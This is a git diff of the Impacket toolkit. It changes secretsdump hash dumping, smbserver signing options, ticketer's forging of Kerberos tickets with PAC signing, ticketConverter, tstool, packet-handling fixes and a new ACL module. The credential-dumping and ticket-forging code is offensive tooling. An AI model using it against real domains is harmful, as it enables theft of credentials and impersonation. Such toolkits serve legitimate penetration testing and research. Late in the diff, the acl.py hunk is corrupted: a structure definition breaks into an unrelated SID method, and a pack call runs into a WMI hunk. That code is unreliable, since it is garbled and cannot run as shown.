localDomainSid = NTDSHashes.getLocalDomainSid(NTDSFileName) + except Exception as e: + logging.debug('Failed to resolve local domain SID: %s', e) + self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod, remoteSSMethodWMINTDS=self.__remoteSSWMINTDS, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, skipUser=self.__skipUser, ldapFilter=self.__ldapFilter, - printUserStatus=self.__printUserStatus) + printUserStatus=self.__printUserStatus, localDomainSid=localDomainSid) try: self.__NTDSHashes.dump() except Exception as e: @@ -427,7 +437,7 @@ def cleanup(self): parser.add_argument('-remoteSSWMI-remote-volume', action='store', default='C:\\', help='Remote Volume to perform the Shadow Snapshot and download SAM, SYSTEM and SECURITY. It defaults to C:\\') parser.add_argument('-remoteSSWMI-local-path', action='store', default='.', - help='Path where download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path') + help='Local path to download SAM, SYSTEM and SECURITY from Shadow Snapshot. It defaults to current path') group = parser.add_argument_group('display options') group.add_argument('-just-dc-user', action='store', metavar='USERNAME', @@ -446,7 +456,7 @@ def cleanup(self): help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data') group.add_argument('-user-status', action='store_true', default=False, help='Display whether or not the user is disabled') - group.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal') + group.add_argument('-history', action='store_true', help='Dump password history (NTDS and SAM hashes), and LSA secrets OldVal') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') diff --git a/examples/smbserver.py b/examples/smbserver.py index 4b62a97e32..8f60f62c70 100755 --- a/examples/smbserver.py +++ b/examples/smbserver.py @@ -39,10 +39,19 @@ parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') parser.add_argument('-username', action="store", help='Username to authenticate clients') parser.add_argument('-password', action="store", help='Password for the Username') + parser.add_argument('-computeraccountname', action="store", help='computer account name to authenticate arbitrary clients with signing via NetLogon/Kerberos') + parser.add_argument('-computeraccounthash', action="store", help='computer account NT hash to authenticate arbitrary clients with signing via NetLogon/Kerberos') + parser.add_argument('-computeraccountaes', action="store", help='computer account AES key to authenticate arbitrary clients with signing via NetLogon/Kerberos') + parser.add_argument('-computeraccountpassword', action="store", help='computer account NT hash to authenticate arbitrary clients with signing via NetLogon/Kerberos') + parser.add_argument('-computeraccountdomain', action="store", help='computer account domain to authenticate arbitrary clients with signing via NetLogon/Kerberos') + parser.add_argument('-dc-ip', action="store", help='IP of domain controller to authenticate arbitrary clients with signing via NetLogon/Kerberos') parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ip', '--interface-address', action='store', default=argparse.SUPPRESS, help='ip address of listening interface ("0.0.0.0" or "::" if omitted)') + parser.add_argument('-readonly', action='store_true', help='Only allow reading of files') + parser.add_argument('-disablekerberos', action='store_true', help='Do not offer Kerberos authentication') + parser.add_argument('-disablentlm', action='store_true', help='Do not offer NTLM authentication') parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') parser.add_argument('-dropssp', action='store_true', default=False, help='Disable NTLM ESS/SSP during negotiation') parser.add_argument('-6','--ipv6', action='store_true',help='Listen on IPv6') @@ -75,9 +84,11 @@ logging.info('Switching output to file %s' % options.outputfile) server.setLogFile(options.outputfile) - server.addShare(options.shareName.upper(), options.sharePath, comment) + server.addShare(options.shareName.upper(), options.sharePath, comment, readOnly="yes" if options.readonly else "no") server.setSMB2Support(options.smb2support) server.setDropSSP(options.dropssp) + server.setKerberosSupport(not options.disablekerberos) + server.setNTLMSupport(not options.disablentlm) # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous # connections will be allowed @@ -97,6 +108,22 @@ server.addCredential(options.username, 0, lmhash, nthash) + # If we want clients to be able to connect to us which enforce signing, we need a computer account to properly setup the connection + # Only works with SMB2 + required_secure_server_options = [options.computeraccountname, options.computeraccountdomain, options.dc_ip] + at_least_one_secure_server_options = [options.computeraccounthash, options.computeraccountaes, options.computeraccountpassword] + if any(required_secure_server_options): + if options.username: + logging.critical("You cannot use account credentials AND computer account credentials at the same time") + sys.exit(1) + if not all(required_secure_server_options): + logging.critical("All of the following options need to be set for accepting signed connections from arbitrary users in the domain: -computeraccountname, -computeraccountdomain, -dc-ip") + sys.exit(1) + if not any(at_least_one_secure_server_options): + logging.critical("At least one of the following options need to be set for accepting signed connections from arbitrary users in the domain: -computeraccounthash, -computeraccountaes, -computeraccountpassword") + sys.exit(1) + server.setComputerAccount(options.computeraccountname, options.computeraccounthash, options.computeraccountaes, options.computeraccountpassword, options.computeraccountdomain, options.dc_ip) + # Here you can set a custom SMB challenge in hex format # If empty defaults to '4141414141414141' # (remember: must be 16 hex bytes long) diff --git a/examples/ticketConverter.py b/examples/ticketConverter.py index 5359cb3de3..08eb438daa 100755 --- a/examples/ticketConverter.py +++ b/examples/ticketConverter.py @@ -27,8 +27,11 @@ # - https://github.com/rvazarkar/KrbCredExport # +import os import argparse +import base64 import struct +import tempfile from impacket import version from impacket.krb5.ccache import CCache @@ -38,6 +41,9 @@ def parse_args(): parser = argparse.ArgumentParser() parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") parser.add_argument('output_file', help="Output file") + parser.add_argument( + '-b', '--base64', action='store_true', help="Decode input ticket from base64 with unwrap support" + ) return parser.parse_args() @@ -46,16 +52,32 @@ def main(): args = parse_args() - if is_kirbi_file(args.input_file): + if args.base64: + decoded_file = tempfile.NamedTemporaryFile(mode='w+b', delete=False) + print('[*] base64 decoding ticket') + decoded_file.write(base64_decode_with_unwrap(args.input_file)) + decoded_file.flush() + + input_file = decoded_file.name if args.base64 else args.input_file + + if is_kirbi_file(input_file): print('[*] converting kirbi to ccache...') - convert_kirbi_to_ccache(args.input_file, args.output_file) + convert_kirbi_to_ccache(input_file, args.output_file) print('[+] done') - elif is_ccache_file(args.input_file): + elif is_ccache_file(input_file): print('[*] converting ccache to kirbi...') - convert_ccache_to_kirbi(args.input_file, args.output_file) + convert_ccache_to_kirbi(input_file, args.output_file) print('[+] done') else: print('[X] unknown file format') + + # Cleanup manually to avoid issues with Windows delete permissions + if args.base64: + try: + decoded_file.close() + os.unlink(decoded_file.name) + except PermissionError: + print('[!] Failed to clean temporary files due to PermissionError') def is_kirbi_file(filename): @@ -80,5 +102,12 @@ def convert_ccache_to_kirbi(input_filename, output_filename): ccache.saveKirbiFile(output_filename) +def base64_decode_with_unwrap(input_filename): + with open(input_filename, 'r', encoding='latin-1') as f: + data = ''.join(f.read().strip().splitlines()) + data = base64.b64decode(data.encode('latin-1')) + + return data + if __name__ == '__main__': main() diff --git a/examples/ticketer.py b/examples/ticketer.py index 487bb592eb..a708733c0d 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -73,10 +73,10 @@ PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \ KERB_NON_KERB_CKSUM_SALT from impacket.krb5.keytab import Keytab -from impacket.krb5.crypto import Key, _enctype_table -from impacket.krb5.crypto import _checksum_table, Enctype -from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ - PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ +from impacket.krb5.crypto import Key, _enctype_table, get_kerberos_key_for_enctype +from impacket.krb5.crypto import Enctype +from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, \ + PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ PAC_ATTRIBUTE_INFO from impacket.krb5.types import KerberosTime, Principal @@ -97,6 +97,7 @@ def __init__(self, target, password, domain, options): self.__options = options self.__tgt = None self.__tgt_session_key = None + self.__requested_ticket_times = None if options.spn: spn = options.spn.split('/') self.__service = spn[0] @@ -117,11 +118,33 @@ def getFileTime(t): @staticmethod def getPadLength(data_length): - return ((data_length + 7) // 8 * 8) - data_length + return pac.get_pad_length(data_length) @staticmethod def getBlockLength(data_length): - return (data_length + 7) // 8 * 8 + return pac.get_block_length(data_length) + + def _extract_reply_ticket_times(self, kdcRep, replyKey): + cipher = _enctype_table[int(kdcRep['enc-part']['etype'])] + # Decrypt the KDC reply enc-part with the Kerberos-defined usage: + # 3 = AS-REP reply key usage, 8 = TGS-REP reply key usage. + keyUsage = 8 + encKDCRepPartSpec = EncTGSRepPart() + if self.__domain == self.__server: + keyUsage = 3 + encKDCRepPartSpec = EncASRepPart() + plainText = cipher.decrypt(replyKey, keyUsage, kdcRep['enc-part']['cipher']) + encKDCRepPart = decoder.decode(plainText, asn1Spec=encKDCRepPartSpec)[0] + + starttime = encKDCRepPart['starttime'] if encKDCRepPart['starttime'].hasValue() else encKDCRepPart['authtime'] + renewTill = encKDCRepPart['renew-till'] if encKDCRepPart['renew-till'].hasValue() else encKDCRepPart['endtime'] + + return { + 'authtime': encKDCRepPart['authtime'].clone(), + 'starttime': starttime.clone(), + 'endtime': encKDCRepPart['endtime'].clone(), + 'renew-till': renewTill.clone(), + } def loadKeysFromKeytab(self, filename): keytab = Keytab.loadFile(filename) @@ -347,6 +370,7 @@ def createBasicTicket(self): tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher, sessionKey) kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + self.__requested_ticket_times = self._extract_reply_ticket_times(kdcRep, oldSessionKey) # Let's check we have all the necessary data based on the ciphers used. Boring checks ticketCipher = int(kdcRep['ticket']['enc-part']['etype']) @@ -715,11 +739,17 @@ def customizeTicket(self, kdcRep, pacInfos): encTicketPart['transited'] = noValue encTicketPart['transited']['tr-type'] = 0 encTicketPart['transited']['contents'] = '' - encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc)) - encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc)) - # Let's extend the ticket's validity a lil bit - encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) - encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) + if self.__options.request and self.__requested_ticket_times is not None: + encTicketPart['authtime'] = self.__requested_ticket_times['authtime'].clone() + encTicketPart['starttime'] = self.__requested_ticket_times['starttime'].clone() + encTicketPart['endtime'] = self.__requested_ticket_times['endtime'].clone() + encTicketPart['renew-till'] = self.__requested_ticket_times['renew-till'].clone() + else: + encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc)) + encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.now(datetime.timezone.utc)) + # Let's extend the ticket's validity a lil bit + encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) + encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['authorization-data'] = noValue encTicketPart['authorization-data'][0] = noValue encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value @@ -869,152 +899,14 @@ def customizeTicket(self, kdcRep, pacInfos): def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') - # Basic PAC count - pac_count = 4 - - # We changed everything we needed to make us special. Now let's repack and calculate checksums - validationInfoBlob = pacInfos[PAC_LOGON_INFO] - validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob)) - - pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] - pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob)) - - pacUpnDnsInfoBlob = None - pacUpnDnsInfoAlignment = None - if PAC_UPN_DNS_INFO in pacInfos: - pac_count += 1 - pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO] - pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob)) - - pacAttributesInfoBlob = None - pacAttributesInfoAlignment = None - if PAC_ATTRIBUTES_INFO in pacInfos: - pac_count += 1 - pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO] - pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob)) - - pacRequestorInfoBlob = None - pacRequestorInfoAlignment = None - if PAC_REQUESTOR_INFO in pacInfos: - pac_count += 1 - pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO] - pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob)) - - serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) - serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] - serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob)) - - privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) - privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] - privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob)) - - # The offset are set from the beginning of the PAC_TYPE - # [MS-PAC] 2.4 PAC_INFO_BUFFER - offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count - - # Let's build the PAC_INFO_BUFFER for each one of the elements - validationInfoIB = PAC_INFO_BUFFER() - validationInfoIB['ulType'] = PAC_LOGON_INFO - validationInfoIB['cbBufferSize'] = len(validationInfoBlob) - validationInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize']) - - pacClientInfoIB = PAC_INFO_BUFFER() - pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE - pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) - pacClientInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize']) - - pacUpnDnsInfoIB = None - if pacUpnDnsInfoBlob is not None: - pacUpnDnsInfoIB = PAC_INFO_BUFFER() - pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO - pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob) - pacUpnDnsInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize']) - - pacAttributesInfoIB = None - if pacAttributesInfoBlob is not None: - pacAttributesInfoIB = PAC_INFO_BUFFER() - pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO - pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob) - pacAttributesInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize']) - - pacRequestorInfoIB = None - if pacRequestorInfoBlob is not None: - pacRequestorInfoIB = PAC_INFO_BUFFER() - pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO - pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob) - pacRequestorInfoIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize']) - - serverChecksumIB = PAC_INFO_BUFFER() - serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM - serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) - serverChecksumIB['Offset'] = offsetData - offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize']) - - privSvrChecksumIB = PAC_INFO_BUFFER() - privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM - privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) - privSvrChecksumIB['Offset'] = offsetData - # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize']) - - # Building the PAC_TYPE as specified in [MS-PAC] - buffers = validationInfoIB.getData() + pacClientInfoIB.getData() - if pacUpnDnsInfoIB is not None: - buffers += pacUpnDnsInfoIB.getData() - if pacAttributesInfoIB is not None: - buffers += pacAttributesInfoIB.getData() - if pacRequestorInfoIB is not None: - buffers += pacRequestorInfoIB.getData() - - buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \ - validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment - if pacUpnDnsInfoIB is not None: - buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment - if pacAttributesInfoIB is not None: - buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment - if pacRequestorInfoIB is not None: - buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment - - buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment - - pacType = PACTYPE() - pacType['cBuffers'] = pac_count - pacType['Version'] = 0 - pacType['Buffers'] = buffers + buffersTail - - blobToChecksum = pacType.getData() - - checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']] - if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: - keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) - elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: - keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) - elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: - keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash)) - else: - raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType']) - - checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']] - if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value: - keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey)) - elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value: - keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey)) - elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value: - keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash)) - else: - raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType']) - - serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum) - logging.info('\tPAC_SERVER_CHECKSUM') - privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature']) - logging.info('\tPAC_PRIVSVR_CHECKSUM') + bufferOrder = [PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE] + for optionalType in (PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR_INFO): + if optionalType in pacInfos: + bufferOrder.append(optionalType) + bufferOrder.extend([PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM]) - buffersTail = serverChecksum.getData() + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment - pacType['Buffers'] = buffers + buffersTail + pacType = pac.sign_pac(pacInfos, aes_key=self.__options.aesKey, nt_hash=self.__options.nthash, + buffer_order=bufferOrder, checksum_salt=KERB_NON_KERB_CKSUM_SALT) authorizationData = AuthorizationData() authorizationData[0] = noValue @@ -1032,14 +924,11 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): encodedEncTicketPart = encoder.encode(encTicketPart) cipher = _enctype_table[kdcRep['ticket']['enc-part']['etype']] - if cipher.enctype == EncryptionTypes.aes256_cts_hmac_sha1_96.value: - key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) - elif cipher.enctype == EncryptionTypes.aes128_cts_hmac_sha1_96.value: - key = Key(cipher.enctype, unhexlify(self.__options.aesKey)) - elif cipher.enctype == EncryptionTypes.rc4_hmac.value: - key = Key(cipher.enctype, unhexlify(self.__options.nthash)) - else: - raise Exception('Unsupported enctype 0x%x' % cipher.enctype) + key = get_kerberos_key_for_enctype( + cipher.enctype, + nt_hash=self.__options.nthash, + generic_aes_key=self.__options.aesKey, + ) # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes TGS session @@ -1084,9 +973,14 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): return encoder.encode(kdcRep), cipher, sessionKey def saveTicket(self, ticket, sessionKey): - logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) + logging.info('Saving/Updating ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) from impacket.krb5.ccache import CCache - ccache = CCache() + from os import getenv, path + krb5 = getenv('KRB5CCNAME') + if krb5 and path.isfile(krb5): + ccache = CCache.loadFile(krb5) + else: + ccache = CCache() if self.__server == self.__domain: ccache.fromTGT(ticket, sessionKey, sessionKey) @@ -1126,8 +1020,7 @@ def run(self): parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS)') parser.add_argument('-old-pac', action='store_true', help='Use the old PAC structure to create your ticket (exclude ' 'PAC_ATTRIBUTES_INFO and PAC_REQUESTOR') - parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires ' - '(default = 24*365*10)') + parser.add_argument('-duration', action="store", default = '87600', help='Amount of hours till the ticket expires (default = 24*365*10). Ignored with -request, which preserves the KDC-issued lifetime') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') diff --git a/examples/tstool.py b/examples/tstool.py index 981dd7ca03..6b349892cd 100755 --- a/examples/tstool.py +++ b/examples/tstool.py @@ -314,20 +314,20 @@ def do_tasklist(self): options = self.__options with TSTS.LegacyAPI(self.__smbConnection, options.target_ip, self.__doKerberos) as legacy: handle = legacy.hRpcWinStationOpenServer() - r = legacy.hRpcWinStationGetAllProcesses(handle) - if not len(r): + process_entry_list = legacy.hRpcWinStationGetAllProcesses(handle) + if not len(process_entry_list): return None self.sids = {} - for procInfo in r: - sid = procInfo['pSid'] + for process_entry in process_entry_list: + sid = process_entry.getSid() if sid[:2] == 'S-' and sid not in self.sids: self.sids[sid] = sid self.lookupSids() - maxImageNameLen = max([len(i['ImageName']) for i in r]) - maxSidLen = max([len(i['pSid']) for i in r]) + maxImageNameLen = max([len(process_entry.getProcessInfo()['ImageName'].getValue()) for process_entry in process_entry_list]) + maxSidLen = max([len(process_entry.getSid()) for process_entry in process_entry_list]) if options.verbose: self.get_session_list() self.enumerate_sessions_config() @@ -365,35 +365,37 @@ def do_tasklist(self): )+'\n' ) - for procInfo in r: - sessId = procInfo['SessionId'] + for process_entry in process_entry_list: + process_info = process_entry.getProcessInfo() + sessId = process_info['SessionId'] fullUserName = '' if len(self.sessions[sessId]['Domain']): fullUserName += self.sessions[sessId]['Domain'] + '\\' if len(self.sessions[sessId]['Username']): fullUserName += self.sessions[sessId]['Username'] row = template.replace('{workingset: <12}','{workingset: >10,} K').format( - imagename = procInfo['ImageName'], - pid = procInfo['UniqueProcessId'], + imagename = process_info['ImageName'].getValue(), + pid = process_info['UniqueProcessId'], sessionName = self.sessions[sessId]['SessionName'], - sessid = procInfo['SessionId'], + sessid = process_info['SessionId'], sessstate = self.sessions[sessId]['state'].replace('Disconnected','Disc'), - sid = self.sidToUser(procInfo['pSid']), + sid = self.sidToUser(process_entry.getSid()), sessionuser = fullUserName, - workingset = procInfo['WorkingSetSize']//1000 + workingset = process_info['WorkingSetSize']//1000 ) print(row) else: template = '{: <%d} {: <8} {: <11} {: <%d} {: >12}' % (maxImageNameLen, maxSidLen) print(template.format('Image Name', 'PID', 'Session#', 'SID', 'Mem Usage')) print(template.replace(': ',':=').format('','','','','')+'\n') - for procInfo in r: + for process_entry in process_entry_list: + process_info = process_entry.getProcessInfo() row = template.format( - procInfo['ImageName'], - procInfo['UniqueProcessId'], - procInfo['SessionId'], - self.sidToUser(procInfo['pSid']), - '{:,} K'.format(procInfo['WorkingSetSize']//1000), + process_info['ImageName'].getValue(), + process_info['UniqueProcessId'], + process_info['SessionId'], + self.sidToUser(process_entry.getSid()), + '{:,} K'.format(process_info['WorkingSetSize']//1000), ) print(row) @@ -410,7 +412,8 @@ def do_taskkill(self): if not len(r): LOG.error('Could not get process list') return - pidList = [i['UniqueProcessId'] for i in r if i['ImageName'].lower() == options.name.lower()] + pidList = [i.getProcessInfo()['UniqueProcessId'] for i in r + if i.getProcessInfo()['ImageName'].getValue().lower() == options.name.lower()] if not len(pidList): LOG.error('Could not find %r in process list' % options.name) return diff --git a/impacket/ImpactPacket.py b/impacket/ImpactPacket.py index 9d53917770..a715c2d4c3 100644 --- a/impacket/ImpactPacket.py +++ b/impacket/ImpactPacket.py @@ -713,7 +713,7 @@ def get_type(self): def set_arphdr(self, value): "Sets the ARPHDR value for the link layer device type" - self.set_word(2, type) + self.set_word(2, value) def get_arphdr(self): "Returns the ARPHDR value for the link layer device type" @@ -729,8 +729,9 @@ def get_addr_len(self): def set_addr(self, addr): "Sets the sender's address field to addr. Addr must be at most 8-byte long." - if (len(addr) < 8): - addr += b'\0' * (8 - len(addr)) + addr = array.array('B', addr[:8]) + if len(addr) < 8: + addr.extend(b'\0' * (8 - len(addr))) self.get_bytes()[6:14] = addr def get_addr(self): @@ -966,10 +967,10 @@ def set_ip_mf(self, aValue): def fragment_by_list(self, aList): - if self.child(): + if self.child() and self.child().protocol is not None: proto = self.child().protocol else: - proto = 0 + proto = self.get_ip_p() child_data = self.get_data_as_string() if not child_data: @@ -1025,7 +1026,10 @@ def fragment_by_list(self, aList): def fragment_by_size(self, aSize): - data_len = len(self.get_data_as_string()) + data = self.get_data_as_string() + if not data: + return [self] + data_len = len(data) num_frags = data_len // aSize if data_len % aSize: diff --git a/impacket/acl.py b/impacket/acl.py new file mode 100644 index 0000000000..e1236aab0e --- /dev/null +++ b/impacket/acl.py @@ -0,0 +1,621 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Windows ACL (Access Control List) handling for SMB file permissions. +# Provides structures and utilities for reading and modifying NTFS security descriptors. +# +# Author: +# Gefen Altshuler (@gaffner) +# + +from impacket.structure import Structure +from impacket.dcerpc.v5 import lsad, lsat +from impacket.dcerpc.v5.transport import SMBTransport +from impacket.smbconnection import SMBConnection +from impacket.smb3structs import FileSecInformation, FILE_OPEN_REPARSE_POINT, GENERIC_ALL, READ_CONTROL + +import struct + +# ACE FLAGS +SMB_ACE_FLAG_OI = 0x1 +SMB_ACE_FLAG_CI = 0x2 +SMB_ACE_FLAG_IO = 0x8 +SMB_ACE_FLAG_NP = 0x4 +SMB_ACE_FLAG_I = 0x10 + +# STANDARD RIGHTS +SEC_INFO_STANDARD_WRITE = 0x8 +SEC_INFO_STANDARD_READ = 0x2 +SEC_INFO_STANDARD_DELETE = 0x1 + +# SPECIFIC RIGHTS +SEC_INFO_SPECIFIC_WRITE = 0x116 +SEC_INFO_SPECIFIC_EXECUTE = 0x20 +SEC_INFO_SPECIFIC_FULL = 0x1FF + +# COMBINED RIGHTS +SEC_READ_RIGHT = 0x00120089 + +SUPPORTED_PERMISSIONS = { + "R": 0x00120089, + "W": 0x00100116, + "D": 0x00110000, + "X": 0x00000020, + "F": 0x001F01FF, +} + + +# NT User (DACL) ACL +class FileNTUser( Structure ): + structure = ( + ("Revision", "H", self["Authority"][4:6])[0] + return "-".join( + map( + str, + ["S", int( self["Revision"] ), authority] + + list( struct.unpack( "<{}I".format(int(n)), self["Subauthorities"] ) ), + ) + ) + + @staticmethod + def build_from_string(data): + items = data.split( "-" )[1:] # delete the S prefix + revision = int( items[0] ) + numAuth = int( items[1] ) + sub_length = len( items ) - 2 # minus the revision and numAuth + subauthorities = struct.pack( "<{}I".format(sub_length), *tuple( map( int, items[2:] ) ) ) + raw_sid = ( + struct.pack( "<2B", revision, numAuth ) + + b"\x00" * 5 + + struct.pack( " 0: superClass = ENCODED_STRING(derivationList)['Character'] @@ -900,7 +915,7 @@ def __init__(self, data = None, alignment = 0): self.data = None def isInstance(self): - if self['ObjectFlags'] & 0x01: + if self['ObjectFlags'] & CIM_CLASS: return False return True @@ -985,7 +1000,7 @@ def parseClass(self, pClass, cInstance = None): return classDict def parseObject(self): - if (self['ObjectFlags'] & 0x01) == 0: + if (self['ObjectFlags'] & CIM_CLASS) == 0: # instance ctCurrent = self['InstanceType']['CurrentClass'] currentName = ctCurrent.getClassName() @@ -1006,7 +1021,7 @@ def parseObject(self): def printInformation(self): # First off, do we have a class? - if (self['ObjectFlags'] & 0x01) == 0: + if (self['ObjectFlags'] & CIM_CLASS) == 0: # instance ctCurrent = self['InstanceType']['CurrentClass'] currentName = ctCurrent.getClassName() @@ -2331,13 +2346,28 @@ def __init__(self, interface, iWbemServices = None): objRef = OBJREF_CUSTOM(objRef) self.encodingUnit = ENCODING_UNIT(objRef['pObjectData']) self.parseObject() - if 